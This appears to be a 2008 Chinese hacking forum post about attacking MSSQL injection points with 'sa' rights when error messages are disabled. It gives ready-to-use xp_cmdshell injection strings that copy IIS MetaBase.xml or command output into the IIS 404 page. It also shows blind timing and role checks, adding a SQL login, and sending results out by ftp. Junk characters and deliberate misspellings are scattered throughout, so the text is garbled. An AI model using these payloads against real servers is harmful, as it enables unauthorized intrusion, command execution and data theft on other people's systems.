遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。$ i. H. r2 c, U2 v# O* W( [
& Z! \2 B7 H' @2 I; y" ~6 G
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
7 W, e) l+ W! s! h8 d2 l4 b6 W6 n: A% S& r6 `
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。% L3 }- n' _. _1 X
; \# f7 i; b* |* ~$ I5 x% P" r IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm8 h/ v7 U4 R# ]+ i& x! T
' ]5 v% v4 N3 p3 [* x! p9 c2 z 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--+ A- F, Z9 d k. L x/ n
, i+ C# I7 ~. ]( m8 w5 N8 p ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
2 X! \8 c6 B* ?9 z- h4 _0 I4 g3 J" V1 I8 Q8 H* P
执行命令得到回显
% i/ w* |% J, X; V
- t0 O. r9 U2 }, ]2 r 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
F+ g) o. V' g* a. Z: Y) M& D, ]" Q7 V5 H
得到文件也shi相同,把文件copy到404b.htm就行了& @! X, q4 g, m6 N% {
" G) O( D: ?; k0 M; ?0 P$ r3 Y
by 28ice, 2008/6/26& V/ \0 ~5 T; W( }3 ~
& s3 H* M1 D4 Y7 c$ x
摘自 28度的冰
; Q9 s7 g) ?- l$ c/ r& O
- J& r" N% A5 w+ U$ |: i 盲注判断权限和操作系统版本
4 B" t/ B' x& T8 u* a+ b7 W0 K( d" y- R9 g8 V) V- Q
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?$ h3 w1 U u8 G" L! ^, y
' N5 }% V8 \% G1 g6 i 最简单的,可能以用这样的方法:* w$ ]+ T! G8 s2 n
7 H0 m2 _+ a" K1 s7 ~) j 1=(select IS_SRVROLEMEMBER(’sysadmin’))
" w. N$ @0 R9 p6 Y1 H* ^- U
+ g' X1 z* z+ g) E; W 当然,有些情况下,这个方法并不奏效。2 s$ \/ z# N# H$ p( d# j# r
4 U, W0 _5 f1 b( e; ?
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
8 K, H5 f; \! z! y6 m/ S# b+ x1 m0 i$ Y! @1 t q- ^& K7 ?! z
有个3办法可能以解决这个问题
2 ~, y' F2 A8 f/ F
6 j+ M2 w4 f2 a. b! J a.把执行结果写到404b.htm,具体请看我的上一篇文章: v9 r0 ]; a# r
3 f" \' `6 T4 C4 s& q
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟+ l* g: L1 K3 f6 u6 o' v
# T Y6 ]1 i9 E4 m; T9 d) ~7 d
c.如果1433端口可能以连接,那干脆新建个sql登录" k: d, e# W- F# g2 N9 [
$ `6 J5 F8 j M. P- |* m. \. P$ M d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
& y) E) M1 m( I9 {7 G+ g) A) w4 b5 U4 D( D( d6 F* z
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
* o9 H# q5 I- r' Z) h" \# q
& R* m4 B* t; i$ p7 e) f- L 很简单
% Y4 f8 J! L- f- J
4 q1 _% v$ f4 i- T* x 执行systeminfo
; t2 @7 f+ x. a
( `& r8 h% W2 M5 \. r9 T% c% ~ 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |